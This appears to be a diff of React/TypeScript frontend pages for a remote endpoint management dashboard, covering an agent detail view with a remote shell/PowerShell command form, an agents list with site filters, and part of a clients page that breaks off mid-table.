{/* Network Interfaces and Remote Command side by side */}
|
||||
<div className="grid gap-6 lg:grid-cols-2">
|
||||
<NetworkInterfacesCard state={agentState ?? null} />
|
||||
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>Remote Command</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<form onSubmit={handleSendCommand} className="space-y-4">
|
||||
<div className="flex items-center gap-4">
|
||||
<select
|
||||
value={commandType}
|
||||
onChange={(e) => setCommandType(e.target.value)}
|
||||
className="flex h-9 rounded-md border border-[hsl(var(--input))] bg-transparent px-3 py-1 text-sm shadow-sm"
|
||||
>
|
||||
<option value="shell">Shell</option>
|
||||
<option value="powershell">PowerShell</option>
|
||||
</select>
|
||||
<Input
|
||||
placeholder="Enter command..."
|
||||
value={command}
|
||||
onChange={(e) => setCommand(e.target.value)}
|
||||
className="flex-1"
|
||||
/>
|
||||
<Button type="submit" disabled={sendCommandMutation.isPending || !command.trim()}>
|
||||
<Send className="h-4 w-4 mr-2" />
|
||||
Send
|
||||
</Button>
|
||||
</div>
|
||||
{sendCommandMutation.isSuccess && (
|
||||
<p className="text-sm text-green-600">Command sent successfully!</p>
|
||||
)}
|
||||
{sendCommandMutation.isError && (
|
||||
<p className="text-sm text-[hsl(var(--destructive))]">
|
||||
Failed to send command. Please try again.
|
||||
</p>
|
||||
)}
|
||||
</form>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
|
||||
{/* Agent Information */}
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>Agent Information</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<dl className="grid grid-cols-2 md:grid-cols-4 gap-4 text-sm">
|
||||
<div>
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">Agent ID</dt>
|
||||
<dd className="font-mono text-xs break-all">{agent.id}</dd>
|
||||
</div>
|
||||
<div>
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">Agent Version</dt>
|
||||
<dd>{agent.agent_version || "-"}</dd>
|
||||
</div>
|
||||
<div>
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">Registered</dt>
|
||||
<dd>{new Date(agent.created_at).toLocaleString()}</dd>
|
||||
</div>
|
||||
<div>
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">Last Seen</dt>
|
||||
<dd>{agent.last_seen ? new Date(agent.last_seen).toLocaleString() : "Never"}</dd>
|
||||
</div>
|
||||
{agent.site_name && (
|
||||
<div>
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">Site</dt>
|
||||
<dd>{agent.site_name}</dd>
|
||||
</div>
|
||||
)}
|
||||
{agent.client_name && (
|
||||
<div>
|
||||
<dt className="text-[hsl(var(--muted-foreground))]">Client</dt>
|
||||
<dd>{agent.client_name}</dd>
|
||||
</div>
|
||||
)}
|
||||
</dl>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,437 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
|
||||
import { Link, useSearchParams } from "react-router-dom";
|
||||
import { Trash2, Terminal, RefreshCw, MoveRight, X } from "lucide-react";
|
||||
import { agentsApi, sitesApi, Agent, Site } from "../api/client";
|
||||
import { Card, CardContent } from "../components/Card";
|
||||
import { Button } from "../components/Button";
|
||||
import { Input } from "../components/Input";
|
||||
|
||||
function AgentStatusBadge({ status }: { status: Agent["status"] }) {
|
||||
const statusConfig = {
|
||||
online: {
|
||||
dotClass: "bg-[var(--accent-green)] shadow-[0_0_8px_var(--accent-green)]",
|
||||
badgeClass: "bg-[var(--accent-green-muted)] text-[var(--accent-green-light)] border border-[rgba(16,185,129,0.3)]",
|
||||
animate: true,
|
||||
},
|
||||
offline: {
|
||||
dotClass: "bg-[var(--text-muted)]",
|
||||
badgeClass: "bg-[rgba(100,116,139,0.2)] text-[var(--text-muted)] border border-[rgba(100,116,139,0.3)]",
|
||||
animate: false,
|
||||
},
|
||||
error: {
|
||||
dotClass: "bg-[var(--accent-rose)] shadow-[0_0_8px_var(--accent-rose)]",
|
||||
badgeClass: "bg-[var(--accent-rose-muted)] text-[var(--accent-rose-light)] border border-[rgba(244,63,94,0.3)]",
|
||||
animate: true,
|
||||
},
|
||||
};
|
||||
|
||||
const config = statusConfig[status];
|
||||
|
||||
return (
|
||||
<span className={`inline-flex items-center gap-1.5 px-2.5 py-1 rounded-full font-mono text-xs font-semibold uppercase tracking-wider ${config.badgeClass}`}>
|
||||
<span className={`w-2 h-2 rounded-full ${config.dotClass} ${config.animate ? "animate-pulse" : ""}`} />
|
||||
{status}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function MoveAgentModal({
|
||||
agent,
|
||||
sites,
|
||||
onClose,
|
||||
onMove,
|
||||
isLoading,
|
||||
}: {
|
||||
agent: Agent;
|
||||
sites: Site[];
|
||||
onClose: () => void;
|
||||
onMove: (siteId: string | null) => void;
|
||||
isLoading: boolean;
|
||||
}) {
|
||||
const [selectedSiteId, setSelectedSiteId] = useState<string>(agent.site_id || "");
|
||||
|
||||
return (
|
||||
<div className="fixed inset-0 bg-black/70 backdrop-blur-sm flex items-center justify-center z-50">
|
||||
<div className="glass-card bg-[var(--glass-bg)] border border-[var(--glass-border)] rounded-xl p-6 w-full max-w-md shadow-xl">
|
||||
<h2 className="text-xl font-mono font-bold text-[var(--text-primary)] mb-2">Move Agent</h2>
|
||||
<p className="text-[var(--text-secondary)] mb-6">
|
||||
Move <strong className="text-[var(--accent-cyan)]">{agent.hostname}</strong> to a different site
|
||||
</p>
|
||||
|
||||
<div className="mb-6">
|
||||
<label className="block text-xs font-mono font-semibold text-[var(--text-muted)] uppercase tracking-wider mb-2">
|
||||
Select Site
|
||||
</label>
|
||||
<select
|
||||
value={selectedSiteId}
|
||||
onChange={(e) => setSelectedSiteId(e.target.value)}
|
||||
className="w-full px-3 py-2.5 rounded-lg border border-[var(--border-primary)] bg-[var(--bg-secondary)] text-[var(--text-primary)] font-mono text-sm focus:border-[var(--accent-cyan)] focus:outline-none focus:ring-2 focus:ring-[var(--accent-cyan-muted)] transition-all"
|
||||
>
|
||||
<option value="">-- Unassigned --</option>
|
||||
{sites.map((site) => (
|
||||
<option key={site.id} value={site.id}>
|
||||
{site.client_name} → {site.name} ({site.site_code})
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div className="flex justify-end gap-3 pt-4 border-t border-[var(--border-secondary)]">
|
||||
<Button type="button" variant="ghost" onClick={onClose}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button
|
||||
onClick={() => onMove(selectedSiteId || null)}
|
||||
disabled={isLoading || selectedSiteId === (agent.site_id || "")}
|
||||
className="btn-mission-control"
|
||||
>
|
||||
{isLoading ? "Moving..." : "Move Agent"}
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function Agents() {
|
||||
const [search, setSearch] = useState("");
|
||||
const [deleteConfirm, setDeleteConfirm] = useState<string | null>(null);
|
||||
const [movingAgent, setMovingAgent] = useState<Agent | null>(null);
|
||||
const [filterClient, setFilterClient] = useState<string>("");
|
||||
const [filterSite, setFilterSite] = useState<string>("");
|
||||
const [searchParams, setSearchParams] = useSearchParams();
|
||||
const statusFilter = searchParams.get("status") || "";
|
||||
const queryClient = useQueryClient();
|
||||
|
||||
const { data: agents = [], isLoading, refetch } = useQuery({
|
||||
queryKey: ["agents"],
|
||||
queryFn: () => agentsApi.list().then((res) => res.data),
|
||||
refetchInterval: 30000,
|
||||
});
|
||||
|
||||
const { data: sites = [] } = useQuery({
|
||||
queryKey: ["sites"],
|
||||
queryFn: () => sitesApi.list().then((res) => res.data),
|
||||
});
|
||||
|
||||
const deleteMutation = useMutation({
|
||||
mutationFn: (id: string) => agentsApi.delete(id),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["agents"] });
|
||||
setDeleteConfirm(null);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to delete agent:", error);
|
||||
alert(`Failed to delete agent: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const moveMutation = useMutation({
|
||||
mutationFn: ({ agentId, siteId }: { agentId: string; siteId: string | null }) =>
|
||||
agentsApi.move(agentId, siteId),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["agents"] });
|
||||
queryClient.invalidateQueries({ queryKey: ["sites"] });
|
||||
setMovingAgent(null);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to move agent:", error);
|
||||
alert(`Failed to move agent: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
// Get unique clients from agents
|
||||
const clients = [...new Set(agents.filter((a: Agent) => a.client_name).map((a: Agent) => a.client_name))];
|
||||
|
||||
// Filter agents
|
||||
const filteredAgents = agents.filter((agent: Agent) => {
|
||||
const matchesSearch =
|
||||
agent.hostname.toLowerCase().includes(search.toLowerCase()) ||
|
||||
agent.os_type.toLowerCase().includes(search.toLowerCase()) ||
|
||||
(agent.client_name && agent.client_name.toLowerCase().includes(search.toLowerCase())) ||
|
||||
(agent.site_name && agent.site_name.toLowerCase().includes(search.toLowerCase()));
|
||||
|
||||
// Handle special __unassigned__ filter value
|
||||
let matchesClient: boolean;
|
||||
if (filterClient === "__unassigned__") {
|
||||
// Show only agents without a site/client assignment
|
||||
matchesClient = !agent.site_id;
|
||||
} else if (filterClient) {
|
||||
matchesClient = agent.client_name === filterClient;
|
||||
} else {
|
||||
matchesClient = true;
|
||||
}
|
||||
|
||||
const matchesSite = !filterSite || agent.site_id === filterSite;
|
||||
const matchesStatus = !statusFilter || agent.status === statusFilter;
|
||||
|
||||
return matchesSearch && matchesClient && matchesSite && matchesStatus;
|
||||
});
|
||||
|
||||
const clearStatusFilter = () => {
|
||||
searchParams.delete("status");
|
||||
setSearchParams(searchParams);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
{/* Header */}
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<div className="flex items-center gap-3">
|
||||
<h1 className="text-3xl font-mono font-bold text-[var(--text-primary)]">Agents</h1>
|
||||
{statusFilter && (
|
||||
<button
|
||||
onClick={clearStatusFilter}
|
||||
className="inline-flex items-center gap-1.5 px-3 py-1 rounded-full text-xs font-mono font-semibold bg-[var(--accent-cyan-muted)] text-[var(--accent-cyan)] border border-[var(--border-accent)] hover:bg-[var(--accent-cyan)] hover:text-[var(--bg-primary)] transition-all"
|
||||
>
|
||||
Status: {statusFilter}
|
||||
<X className="h-3 w-3" />
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
<p className="text-[var(--text-secondary)] mt-1">
|
||||
Manage your monitored endpoints
|
||||
</p>
|
||||
</div>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => refetch()}
|
||||
className="border-[var(--border-accent)] text-[var(--accent-cyan)] hover:bg-[var(--accent-cyan-muted)] hover:shadow-[var(--glow-cyan)] transition-all"
|
||||
>
|
||||
<RefreshCw className="h-4 w-4 mr-2" />
|
||||
Refresh
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{/* Filters */}
|
||||
<div className="glass-card bg-[var(--glass-bg)] border border-[var(--glass-border)] rounded-xl p-4">
|
||||
<div className="flex flex-wrap items-center gap-4">
|
||||
<Input
|
||||
placeholder="Search agents..."
|
||||
value={search}
|
||||
onChange={(e) => setSearch(e.target.value)}
|
||||
className="max-w-sm bg-[var(--bg-secondary)] border-[var(--border-primary)] text-[var(--text-primary)] font-mono placeholder:text-[var(--text-muted)] focus:border-[var(--accent-cyan)] focus:ring-[var(--accent-cyan-muted)]"
|
||||
/>
|
||||
<select
|
||||
value={filterClient}
|
||||
onChange={(e) => {
|
||||
setFilterClient(e.target.value);
|
||||
setFilterSite("");
|
||||
}}
|
||||
className="px-3 py-2 rounded-lg border border-[var(--border-primary)] bg-[var(--bg-secondary)] text-[var(--text-primary)] font-mono text-sm focus:border-[var(--accent-cyan)] focus:outline-none focus:ring-2 focus:ring-[var(--accent-cyan-muted)] transition-all"
|
||||
>
|
||||
<option value="">All Clients</option>
|
||||
<option value="__unassigned__">Unassigned Only</option>
|
||||
{clients.map((client) => (
|
||||
<option key={client} value={client || ""}>
|
||||
{client}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
{filterClient && filterClient !== "__unassigned__" && (
|
||||
<select
|
||||
value={filterSite}
|
||||
onChange={(e) => setFilterSite(e.target.value)}
|
||||
className="px-3 py-2 rounded-lg border border-[var(--border-primary)] bg-[var(--bg-secondary)] text-[var(--text-primary)] font-mono text-sm focus:border-[var(--accent-cyan)] focus:outline-none focus:ring-2 focus:ring-[var(--accent-cyan-muted)] transition-all"
|
||||
>
|
||||
<option value="">All Sites</option>
|
||||
{sites
|
||||
.filter((s: Site) => s.client_name === filterClient)
|
||||
.map((site: Site) => (
|
||||
<option key={site.id} value={site.id}>
|
||||
{site.name}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
)}
|
||||
<select
|
||||
value={statusFilter}
|
||||
onChange={(e) => {
|
||||
if (e.target.value) {
|
||||
searchParams.set("status", e.target.value);
|
||||
} else {
|
||||
searchParams.delete("status");
|
||||
}
|
||||
setSearchParams(searchParams);
|
||||
}}
|
||||
className="px-3 py-2 rounded-lg border border-[var(--border-primary)] bg-[var(--bg-secondary)] text-[var(--text-primary)] font-mono text-sm focus:border-[var(--accent-cyan)] focus:outline-none focus:ring-2 focus:ring-[var(--accent-cyan-muted)] transition-all"
|
||||
>
|
||||
<option value="">All Statuses</option>
|
||||
<option value="online">Online</option>
|
||||
<option value="offline">Offline</option>
|
||||
<option value="error">Error</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Flat Table View */}
|
||||
{filteredAgents.length > 0 && (
|
||||
<Card className="glass-card bg-[var(--glass-bg)] border border-[var(--glass-border)] rounded-xl overflow-hidden">
|
||||
<CardContent className="p-0">
|
||||
<div className="overflow-x-auto">
|
||||
<table className="w-full data-grid">
|
||||
<thead>
|
||||
<tr className="border-b border-[var(--border-primary)]">
|
||||
<th className="text-left py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">Hostname</th>
|
||||
<th className="text-left py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">Client</th>
|
||||
<th className="text-left py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">Site</th>
|
||||
<th className="text-left py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">OS</th>
|
||||
<th className="text-left py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">Status</th>
|
||||
<th className="text-left py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">Last Seen</th>
|
||||
<th className="text-left py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">Version</th>
|
||||
<th className="text-right py-2 px-4 font-mono text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider bg-[var(--bg-tertiary)]">Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{filteredAgents.map((agent: Agent) => (
|
||||
<tr
|
||||
key={agent.id}
|
||||
className="border-b border-[var(--border-secondary)] hover:bg-[rgba(6,182,212,0.05)] transition-colors"
|
||||
>
|
||||
<td className="py-2 px-4">
|
||||
<Link
|
||||
to={`/agents/${agent.id}`}
|
||||
className="font-mono font-medium text-[var(--accent-cyan)] hover:text-[var(--accent-cyan-light)] hover:underline transition-colors"
|
||||
>
|
||||
{agent.hostname}
|
||||
</Link>
|
||||
</td>
|
||||
<td className="py-2 px-4 font-mono text-sm text-[var(--text-secondary)]">
|
||||
{agent.client_name || <span className="text-[var(--text-muted)]">-</span>}
|
||||
</td>
|
||||
<td className="py-2 px-4 font-mono text-sm text-[var(--text-secondary)]">
|
||||
{agent.site_name || <span className="text-[var(--text-muted)]">-</span>}
|
||||
</td>
|
||||
<td className="py-2 px-4 font-mono text-sm text-[var(--text-secondary)]">
|
||||
{agent.os_type}
|
||||
{agent.os_version && (
|
||||
<span className="text-[var(--text-muted)]">
|
||||
{" "}({agent.os_version})
|
||||
</span>
|
||||
)}
|
||||
</td>
|
||||
<td className="py-2 px-4">
|
||||
<AgentStatusBadge status={agent.status} />
|
||||
</td>
|
||||
<td className="py-2 px-4 font-mono text-sm text-[var(--text-muted)]">
|
||||
{agent.last_seen
|
||||
? new Date(agent.last_seen).toLocaleString()
|
||||
: "Never"}
|
||||
</td>
|
||||
<td className="py-2 px-4 font-mono text-sm text-[var(--text-muted)]">
|
||||
{agent.agent_version || "-"}
|
||||
</td>
|
||||
<td className="py-2 px-4">
|
||||
<div className="flex items-center justify-end gap-1">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Move to different site"
|
||||
onClick={() => setMovingAgent(agent)}
|
||||
className="text-[var(--text-muted)] hover:text-[var(--accent-cyan)] hover:bg-[var(--accent-cyan-muted)] transition-all"
|
||||
>
|
||||
<MoveRight className="h-4 w-4" />
|
||||
</Button>
|
||||
<Link to={`/agents/${agent.id}`}>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Open terminal"
|
||||
className="text-[var(--text-muted)] hover:text-[var(--accent-green)] hover:bg-[var(--accent-green-muted)] transition-all"
|
||||
>
|
||||
<Terminal className="h-4 w-4" />
|
||||
</Button>
|
||||
</Link>
|
||||
{deleteConfirm === agent.id ? (
|
||||
<div className="flex items-center gap-1">
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
onClick={() => deleteMutation.mutate(agent.id)}
|
||||
disabled={deleteMutation.isPending}
|
||||
className="bg-[var(--accent-rose)] hover:bg-[var(--accent-rose-light)] hover:shadow-[var(--glow-rose)]"
|
||||
>
|
||||
Confirm
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => setDeleteConfirm(null)}
|
||||
className="text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
>
|
||||
Cancel
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Delete agent"
|
||||
onClick={() => setDeleteConfirm(agent.id)}
|
||||
className="text-[var(--text-muted)] hover:text-[var(--accent-rose)] hover:bg-[var(--accent-rose-muted)] transition-all"
|
||||
>
|
||||
<Trash2 className="h-4 w-4" />
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
)}
|
||||
|
||||
{isLoading && (
|
||||
<div className="glass-card bg-[var(--glass-bg)] border border-[var(--glass-border)] rounded-xl p-8 text-center">
|
||||
<div className="inline-flex items-center gap-3 text-[var(--text-secondary)]">
|
||||
<RefreshCw className="h-5 w-5 animate-spin text-[var(--accent-cyan)]" />
|
||||
<span className="font-mono">Loading agents...</span>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!isLoading && filteredAgents.length === 0 && (
|
||||
<Card className="glass-card bg-[var(--glass-bg)] border border-[var(--glass-border)] rounded-xl">
|
||||
<CardContent className="py-12 text-center">
|
||||
<p className="text-[var(--text-muted)] font-mono">
|
||||
{search || filterClient || statusFilter
|
||||
? "No agents match your filters."
|
||||
: "No agents registered yet."}
|
||||
</p>
|
||||
{(search || filterClient || statusFilter) && (
|
||||
<button
|
||||
onClick={() => {
|
||||
setSearch("");
|
||||
setFilterClient("");
|
||||
setFilterSite("");
|
||||
clearStatusFilter();
|
||||
}}
|
||||
className="mt-4 text-[var(--accent-cyan)] hover:text-[var(--accent-cyan-light)] font-mono text-sm underline transition-colors"
|
||||
>
|
||||
Clear all filters
|
||||
</button>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
)}
|
||||
|
||||
{movingAgent && (
|
||||
<MoveAgentModal
|
||||
agent={movingAgent}
|
||||
sites={sites}
|
||||
onClose={() => setMovingAgent(null)}
|
||||
onMove={(siteId) =>
|
||||
moveMutation.mutate({ agentId: movingAgent.id, siteId })
|
||||
}
|
||||
isLoading={moveMutation.isPending}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,316 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
|
||||
import { Plus, Trash2, Edit2, Building2, RefreshCw } from "lucide-react";
|
||||
import { clientsApi, Client } from "../api/client";
|
||||
import { Card, CardHeader, CardTitle, CardContent } from "../components/Card";
|
||||
import { Button } from "../components/Button";
|
||||
import { Input } from "../components/Input";
|
||||
|
||||
interface ClientFormData {
|
||||
name: string;
|
||||
code: string;
|
||||
notes: string;
|
||||
}
|
||||
|
||||
function ClientModal({
|
||||
client,
|
||||
onClose,
|
||||
onSave,
|
||||
isLoading,
|
||||
}: {
|
||||
client?: Client;
|
||||
onClose: () => void;
|
||||
onSave: (data: ClientFormData) => void;
|
||||
isLoading: boolean;
|
||||
}) {
|
||||
const [formData, setFormData] = useState<ClientFormData>({
|
||||
name: client?.name || "",
|
||||
code: client?.code || "",
|
||||
notes: client?.notes || "",
|
||||
});
|
||||
|
||||
const handleSubmit = (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
onSave(formData);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="fixed inset-0 bg-black/50 flex items-center justify-center z-50">
|
||||
<div className="bg-[hsl(var(--card))] rounded-lg p-6 w-full max-w-md">
|
||||
<h2 className="text-xl font-bold mb-4">
|
||||
{client ? "Edit Client" : "New Client"}
|
||||
</h2>
|
||||
<form onSubmit={handleSubmit} className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Name *</label>
|
||||
<Input
|
||||
value={formData.name}
|
||||
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
|
||||
placeholder="Company Name"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Code</label>
|
||||
<Input
|
||||
value={formData.code}
|
||||
onChange={(e) => setFormData({ ...formData, code: e.target.value.toUpperCase() })}
|
||||
placeholder="ACME (optional short code)"
|
||||
maxLength={20}
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Notes</label>
|
||||
<textarea
|
||||
value={formData.notes}
|
||||
onChange={(e) => setFormData({ ...formData, notes: e.target.value })}
|
||||
placeholder="Optional notes..."
|
||||
className="w-full px-3 py-2 rounded-md border border-[hsl(var(--border))] bg-[hsl(var(--background))] text-sm"
|
||||
rows={3}
|
||||
/>
|
||||
</div>
|
||||
<div className="flex justify-end gap-2 pt-4">
|
||||
<Button type="button" variant="ghost" onClick={onClose}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button type="submit" disabled={isLoading || !formData.name.trim()}>
|
||||
{isLoading ? "Saving..." : client ? "Update" : "Create"}
|
||||
</Button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function Clients() {
|
||||
const [search, setSearch] = useState("");
|
||||
const [showModal, setShowModal] = useState(false);
|
||||
const [editingClient, setEditingClient] = useState<Client | undefined>();
|
||||
const [deleteConfirm, setDeleteConfirm] = useState<string | null>(null);
|
||||
const queryClient = useQueryClient();
|
||||
|
||||
const { data: clients = [], isLoading, refetch } = useQuery({
|
||||
queryKey: ["clients"],
|
||||
queryFn: () => clientsApi.list().then((res) => res.data),
|
||||
});
|
||||
|
||||
const createMutation = useMutation({
|
||||
mutationFn: (data: ClientFormData) => clientsApi.create(data),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["clients"] });
|
||||
setShowModal(false);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to create client:", error);
|
||||
alert(`Failed to create client: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const updateMutation = useMutation({
|
||||
mutationFn: ({ id, data }: { id: string; data: ClientFormData }) =>
|
||||
clientsApi.update(id, data),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["clients"] });
|
||||
setShowModal(false);
|
||||
setEditingClient(undefined);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to update client:", error);
|
||||
alert(`Failed to update client: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const deleteMutation = useMutation({
|
||||
mutationFn: (id: string) => clientsApi.delete(id),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["clients"] });
|
||||
setDeleteConfirm(null);
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
console.error("Failed to delete client:", error);
|
||||
alert(`Failed to delete client: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const handleSave = (data: ClientFormData) => {
|
||||
if (editingClient) {
|
||||
updateMutation.mutate({ id: editingClient.id, data });
|
||||
} else {
|
||||
createMutation.mutate(data);
|
||||
}
|
||||
};
|
||||
|
||||
const handleEdit = (client: Client) => {
|
||||
setEditingClient(client);
|
||||
setShowModal(true);
|
||||
};
|
||||
|
||||
const handleCloseModal = () => {
|
||||
setShowModal(false);
|
||||
setEditingClient(undefined);
|
||||
};
|
||||
|
||||
const filteredClients = clients.filter(
|
||||
(client: Client) =>
|
||||
client.name.toLowerCase().includes(search.toLowerCase()) ||
|
||||
(client.code && client.code.toLowerCase().includes(search.toLowerCase()))
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h1 className="text-3xl font-bold">Clients</h1>
|
||||
<p className="text-[hsl(var(--muted-foreground))]">
|
||||
Manage your client organizations
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<Button variant="outline" size="sm" onClick={() => refetch()}>
|
||||
<RefreshCw className="h-4 w-4 mr-2" />
|
||||
Refresh
|
||||
</Button>
|
||||
<Button size="sm" onClick={() => setShowModal(true)}>
|
||||
<Plus className="h-4 w-4 mr-2" />
|
||||
Add Client
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-4">
|
||||
<Input
|
||||
placeholder="Search clients..."
|
||||
value={search}
|
||||
onChange={(e) => setSearch(e.target.value)}
|
||||
className="max-w-sm"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle>All Clients</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
{isLoading ? (
|
||||
<p className="text-[hsl(var(--muted-foreground))]">Loading clients...</p>
|
||||
) : filteredClients.length === 0 ? (
|
||||
<div className="text-center py-8">
|
||||
<Building2 className="h-12 w-12 mx-auto text-[hsl(var(--muted-foreground))] mb-4" />
|
||||
<p className="text-[hsl(var(--muted-foreground))]">
|
||||
{search ? "No clients match your search." : "No clients yet. Add your first client to get started."}
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
<div className="overflow-x-auto">
|
||||
<table className="w-full">
|
||||
<thead>
|
||||
<tr className="border-b border-[hsl(var(--border))]">
|
||||
<th className="text-left py-3 px-4 font-medium">Name</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Code</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Sites</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Status</th>
|
||||
<th className="text-left py-3 px-4 font-medium">Created</th>
|
||||
<th className="text-right py-3 px-4 font-medium">Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{filteredClients.map((client: Client) => (
|
||||
<tr
|
||||
key={client.id}
|
||||
className="border-b border-[hsl(var(--border))] hover:bg-[hsl(var(--muted))]/50"
|
||||
>
|
||||
<td className="py-3 px-4">
|
||||
<div className="font-medium">{client.name}</div>
|
||||
{client.notes && (
|
||||
<div className="text-sm text-[hsl(var(--muted-foreground))] truncate max-w-xs">
|
||||
{client.notes}
|
||||
</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
{client.code ? (
|
||||
<span className="px-2 py-1 bg-[hsl(var(--muted))] rounded text-sm font-mono">
|
||||
{client.code}
|
||||
</span>
|
||||
) : (
|
||||
<span className="text-[hsl(var(--muted-foreground))]">-</span>
|
||||
)}
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
<span className="text-sm">{client.site_count} sites</span>
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
<span
|
||||
className={`px-2 py-1 rounded-full text-xs font-medium ${
|
||||
client.is_active
|
||||
? "bg-green-100 text-green-800"
|
||||
: "bg-gray-100 text-gray-800"
|
||||
}`}
|
||||
>
|
||||
{client.is_active ? "Active" : "Inactive"}
|
||||
</span>
|
||||
</td>
|
||||
<td className="py-3 px-4 text-sm text-[hsl(var(--muted-foreground))]">
|
||||
{new Date(client.created_at).toLocaleDateString()}
|
||||
</td>
|
||||
<td className="py-3 px-4">
|
||||
<div className="flex items-center justify-end gap-2">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Edit client"
|
||||
